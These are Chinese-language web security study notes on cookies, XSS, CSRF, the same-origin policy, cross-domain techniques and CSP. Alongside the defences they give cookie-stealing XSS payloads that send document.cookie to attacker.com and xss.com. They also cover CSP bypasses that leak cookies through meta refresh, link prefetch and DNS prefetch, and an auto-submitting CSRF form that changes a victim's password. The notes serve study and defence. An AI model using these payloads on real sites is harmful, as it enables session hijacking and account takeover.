01 XSS攻击与防御
一、Cookie
定义
Cookie是指某些网站为了辨别用户身份而存储在客户端上的数据(通常经过加密)。也就是说,只要有了某个用户的cookie,就能以他的身份登录。
获取Cookie
浏览器端(客户端):document.cookie
服务器端(PHP):$_COOKIE
存储位置
Chrome:
Windows下:C:\Users\jay\AppData\Local\Google\Chrome\UserData\Default\Cookies
属性
SESSION=xxxxxxxxx;expires=Thu,27 Feb 2017 05:21:00 GMT;domain=www.xxx.com;path=/;HttpOnly;secure;SameSite=Strict
Name:Cookie的名字
Value:Cookie的值
Domain:该Cookie属于哪个域,只有这个域和其子域能获取该Cookie
Path:Cookie所属路径,只有这个路径和其下级目录能获取该Cookie
Expires/Max-Age:Cookie的实效时间
Size:Cookie的值得长度
HttpOnly:如果设置了该值,则Cookie不能被JS读取
Secure:该Cookie仅能由HTTPS协议传输
SameSite:用于定义cookie如何跨域发送,可以防止CSRF攻击
domain和path
- 发生跨域xhr请求时,即使请求URL的域名和路径都满足cookie的domain和path,默认情况下cookie也不会自动被添加到请求头部中。
- domain是可以设置为页面本身的域名(本域),或页面本身域的父域,但不能是公共后缀public suffix。举例说明:如果页面域名为www.baidu.com,domain可以设置为“www.baidu.com”,“baidu.com”,但不能设置为“.com”或“com”。
类别
- 硬盘Cookie:
设置了失效时间 - 内存Cookie:
未设置失效时间
二、XSS漏洞介绍
XSS指的是恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页之时,嵌入Web里面的JS代码会被执行,从而达到恶意的特殊目的。
POC
<script>alert(1);</script>
EXPLOIT
<script>location="http://attacker.com/?c="+escape(document.cookie);</script>
三、XSS漏洞类型
- 反射型
- 存储型
- DOM型
四、 XSS危害
-
窃取信息
- Cookie
- CSRF Token
- password字段
XSS蠕虫
-
命令执行
- 特权域XSS—WooYun-2016-170984
- 沙盒绕过—CVE-2017-12581
五、XSS与字符编码
HTML实体编码
例如左尖括号(<)编码:html十进制:<
html十六进制:<
字符实体:<;(不是所有字符都有)
JavaScript编码
例如左尖括号(<)编码:js八进制:\74;
js十六进制:\x3c;
jsunicode:\u003c
URL编码
例如左尖括号(<)编码:%3C
六、字符编码与绕过
HTML实体编码
DOM元素的属性值会自动HTML解码
<iframe srcdoc="<script>alert(1)</script>">
</iframe>
解码后
<iframe srcdoc="<script>alert(1)<script>">
</iframe>
JS编码
eval中的参数可以JS编码
<script>eval("alert\501\51");</script>
解码后
<script>eval("alert(1)");</script>
URL编码
后端对用户输入进行URL解码时可以利用
<?php
echo urldecode($_GET['s']);
?>
前端传入URL编码后的字符串,可以绕过某些限制
%3Cscript%3Ealert%281%29%3C/script%3E
页面编码
有的时候,对于我们所提交的内容,目标站点不会将其转换为HTML实体";,而是会将其转义为",这样的转义同样会导致我们闭合失败,然而,在网页为GBK等编码下,事情却有了转机。
- GBK编码第一字节(高字节)的范围为:0x81-0xFE
- GBK编码第二字节(低字节)的范围为:0x40-0x7E、0x80-0xFE
\符号的十六进制为0x5C,刚好处在GBK的低字节中,如果前面有一个高字节(如%c0),那么恰好会被组合成一个合法的字符,从而\被吃掉,双引号逃逸出来。
七、XSS漏洞挖掘
寻找常见的输入点
留言板、评论框(存储型)
搜索型(反射型)
个人资料修改(存储型、Self-XSS)
测试字符过滤情况
一般测试<>
、""
、\/
、&
、#
、''
定位输出点
标签属性值中、js代码中、标签内
可以利用的标签
<script>alert(1)</script>
<a href"javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)"></iframe>
<iframe srcdoc="<script>alert(1)</script>"</iframe>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>
<svg/onload=alert(1)>
自动html编码的标签
<textarea></textarea>
<title></title>
<iframe></iframe>
<nosctipt></nosctipt>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
一些trick
url中协议头可去掉,如//example.com(http),\\example(https,linux)
过滤
;
,用换行HTML实体编码中,
;
可以去掉,例如<,不需要;
可以利用拼接一个eval函数执行代码,例如
"a"+eval("alert(1)")
-
ip可以用10进制或者16进制表示
XSS防御
浏览器自带的XSS防御
过滤
转义和编码
HttpOnly
XSS平台
http://xsspt.com/
http://ceye.io/
02 CSRF攻击与防御
一、CSRF介绍
GET型攻击
攻击者——>构造CSRF请求链接——>受害者——>点击链接,个人信息被修改
POST型攻击
攻击者伪造自动发送请求的页面——>发送页面链接——>受害者——>点击链接,个人信息被修改
攻击方式(伪造请求)
<form action="http://victim.com/modify.php" method="POST">
<input type="text" name="username" value="hacker">
<input type="text" name="phone" value="12345678">
<input type="text" name="password" value="123456">
</form>
<script>
document.forms[0].submit();
</script>
攻击方式(JSON)
form表单无法发送json格式的请求,然而可以利用307跳转
307跳转可以不改变请求主体,只改变请求目标
- 首先在自己服务器上放一个页面main.html,这个页面包含一个flash文件,这个flash文件可以发送json请求
- 再在服务器上放一个307.php,这个文件可以跳转到CSRF目标站点
- 访问main.html,即可CSRF
二、CSRF防御
验证码
后端对提交的验证码做校验,验证码不正确则请求失败
添加token
在请求参数中添加一个token参数,这个token的值要保证无法被攻击者预测(例如每次请求随机一遍,或者每个用户都有唯一的token)
验证Referer
Referer表示一个请求的来源页面。如果是一个CSRF的请求,那么CSRF要么为空(GET),要么为攻击者的网站(POST)
03 同源策略
一、源
源(origin)就是协议、域名和端口号。
二、同源策略
Cookie
Cookie的两个属性domain和path与同源策略有关
例如对于下面的一条Cookie:
Cookiename=cookievalue;domain=a.com;path=/admin;
那么只有a.com或者其子域(例如sub.a.com),并且/admin及其子目录下的页面可以可以读取到该Cookie的值
iframe
和父窗口的源不同的iframe的DOM树不能被JavaScript读取,也不能被修改
子域
例如sub.a.com就是a.com的子域
子域可以将自己的domain设置成主域
document.doamin='a.com';
然后sub.a.com和a.com就可以访问彼此页面的cookie了。同理,在iframe中这样设置也能互相读取彼此的DOM树了。
此外,例如有个sub2.a.com,如果它也将document.doamin设置为a.com那么它和sub.a.com也就同源了。
但是需要注意的是,document.domain='com'这样直接设置到顶级域是不允许的
Ajax
Ajax请求可以跨域发送,但是域不同的时候不携带Cookie,并且无法获取响应内容
三、跨域方式
CORS(跨域资源共享)
为了实现不同网站之间的通信,浏览器实现了一种共享资源的方式。
例如a.com要获取b.com的内容,那么就要在a.com的页面中设置CORS头部
header('Access-Control-Allow-Origin:http://b.com');
header('Access-Control-Allow_Origin:*');
window.name
iframe和window.name结合可以实现跨域传输,即使父窗口和子窗口的源不同,也可以获取window.name的值
<script>
function getData(){
var iframe = document.getElementById('ifr');
iframe.onload = function(){
var data = iframe.contentWindow.name;
}
iframe.src = 'b.html';
}
</script>
Jsonp
<script>
function _callback(s){
alert(JSON.stringify(s));
}
</script>
<script src="http://example.com/json.php?cb=_callback"></script>
http://example.com/json.php?cb=_callback
的响应结果类似:
__Jquery({"id":1,"content":"hello"})
原理是script标签可以跨域请求(类似的还有img等),这里jsonp请求获取到的是一串js代码,一般是一个函数调用,参数就是想要跨域获取的数据,而函数的实现在发起请求的页面中。
获取完毕后,调用该函数,即可获取数据并进行后续处理。
04 CSP
一、什么是CSP
CSP(内容安全策略)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本和数据注入攻击等。
CSP部署位置
- HTTP响应头部名为Content-Security-Policy的字段
- 页面中的meta标签
例子
Content-Security-Policy:default-src'self';script-src'axample.com'
一个CSP策略有多组指令构成,中间以分号间隔
例如,上面的策略有两组指令,含义如下:
default-src'self'
元素的默认来源只能是当前页面
script-src'example.com'
script标签只能来源于'example.com'
二、CSP策略指令
default-src指令定义了那些没有被更精确指令指定的安全策略。
default-src
三、CSP内容原
CSP中的内容原有三种:源列表、关键字和数据
源列表
源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的 URL 协议和/或端口号。站点地址可以包含可选的通配符前缀 (星号, '*'
),端口号也可以使用通配符 (同样是 '*'
) 来表明所有合法端口都是有效来源。主机通过空格分隔。
有效的主机表达式包括:
-
http://*.foo.com
匹配所有使用
http:
协议加载 foo.com 任何子域名的尝试。 -
mail.foo.com:443
匹配所有访问 mail.foo.com 的 443 端口 的尝试。
-
匹配所有使用
https:
协议访问 store.foo.com 的尝试。
如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。
关键字
有一些关键字可以用来描述某类特别的内容源。它们是:
-
'none'
代表空集;即不匹配任何 URL。两侧单引号是必须的。
-
'self'
代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
-
'unsafe-inline'
允许使用内联资源,如内联的
](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/script) 元素、`javascript:` URL、内联的事件处理函数和内联的 [
元素。两侧单引号是必须的。 -
'unsafe-eval'
允许使用
eval()
等通过字符串创建代码的方法。两侧单引号是必须的。
数据
-
data:
允许
data:
URI 作为内容来源。这是不安全的,因为攻击者可以精心构造 data: URI 来攻击。请谨慎地使用这个源,并确保不要用于脚本。 -
mediastream:
允许
mediastream:
URI 作为内容源。
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
四、CSP绕过
url跳转
在default-src 'none'的情况下,可以使用meta标签实现跳转
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
标签预加载
CSP对link标签的预加载功能考虑不完善。
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
那么当脚本插入点为如下的情况时
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
可以插入
<script src=//14.rs a="
这样会拼成一个新的script标签,其中的src可以自由设定
<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
iframe
1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:
<iframe src="B"></iframe>
2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>